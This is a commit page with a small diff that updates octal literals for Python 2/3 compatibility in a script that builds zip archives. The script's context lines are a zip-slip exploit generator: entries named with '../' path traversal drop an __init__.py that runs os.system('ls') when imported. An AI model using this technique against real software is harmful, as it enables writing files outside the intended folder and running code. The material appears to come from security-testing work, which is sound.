Use octal numbers that work in both Python 2 and 3

python2 -c "print(0777 << 16L == 0o777 << 16)"  # True
This commit is contained in:
cclauss 2018-09-02 14:09:55 +02:00 committed by GitHub
parent d847e2e6bb
commit d642980f8c
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -15,5 +15,5 @@ for d in directories:
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
z_info.external_attr = 0777 << 16L
z_info.external_attr = 0o777 << 16
z_file.close()